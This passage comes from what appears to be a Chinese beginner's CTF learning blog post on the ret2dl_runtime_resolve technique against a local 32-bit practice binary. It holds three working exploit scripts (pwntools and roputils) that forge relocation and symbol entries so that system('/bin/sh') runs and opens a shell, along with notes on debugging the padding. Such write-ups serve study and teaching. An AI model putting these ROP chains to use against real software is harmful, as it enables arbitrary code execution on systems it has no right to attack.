r_info = (index_sym << 8) | 0x7 # r_info>>8 = index_sym | R_386_JUMP_SLOT
faker_reloc = p32(r_offset) + p32(r_info)
faker_str_addr = faker_sym_addr + 0x10 ## behind of Elf32_Rel
## write: LOAD:08048228 Elf32_Sym <st_name, 0, 0, 12h, 0, 0> ; "write"
st_name = faker_str_addr - dynstr
faker_sym = flat(st_name,0,0,0x12)

rop.raw(base_stage)
rop.raw(plt0)
rop.raw(index_offset)
rop.raw('aaaa')
rop.raw(base_stage + 80)
rop.raw('a'*8)
rop.raw(faker_reloc)
rop.raw('a'*align) ## padding to align
rop.raw(faker_sym)
rop.raw('system\x00')
print len(rop.chain())
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw('a' * (100 - len(rop.chain())))
gdb.attach(r)
r.sendline(rop.chain())
r.interactive()

这里有个关于pwntools自动对齐的操作,如下图,发现已经计算好的base_stage+80是‘aa/bin/sh’。

image

然后改为偏移82即可执行命令。

image

经过调试发现,我们代码中是添加14个a(80-len(rop.chain())=14),结果有18个a,经过测试发现,这个a是这样分的:a✖️2 + a✖️14 + a✖️2,前两个a是system\x00补的,后两个是14个a补齐的,因此base_stage+80刚好是这个‘aa/bin/sh’的起始地址。

image

建议直接拼接,这样就免除了麻烦。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
payload2 = 'aaaa'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(base_stage + 80)
payload2 += 'aaaa'
payload2 += 'aaaa'
payload2 += faker_reloc
payload2 += 'a' * align
payload2 += faker_sym
payload2 += "system\x00"
payload2 += 'a' * (80 - len(payload2))
payload2 += sh
payload2 += 'a' * (100 - len(payload2))
r.sendline(payload2)
r.interactive()

最后直接贴上wiki里使用roputils的exp,发现我们理解原理了很久,payload的rop链构造了很久,直接一个roputils直接搞定,解题方法简单。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from roputils import *
from pwn import process
from pwn import gdb
from pwn import context
r = process('./main')
context.log_level = 'debug'
r.recv()

rop = ROP('./main')
offset = 112
bss_base = rop.section('.bss')
buf = rop.fill(offset)

buf += rop.call('read', 0, bss_base, 100)
## used to call dl_Resolve()
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
r.send(buf)

buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
## used to make faking data, such relocation, Symbol, Str
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
r.send(buf)
r.interactive()

0x04 尾记

还未入门,详细记录每个知识点,为了能更好地温故知新,也希望能帮助和我一样想要入门二进制安全的初学者,如有错误,希望大佬们指出。
参考:
ctfwiki
ROP高级用法之ret2_dl_runtime_resolve
ELF file
通过ELF动态装载构造ROP链 ( Return-to-dl-resolve)

-------------本文结束&感谢您的阅读-------------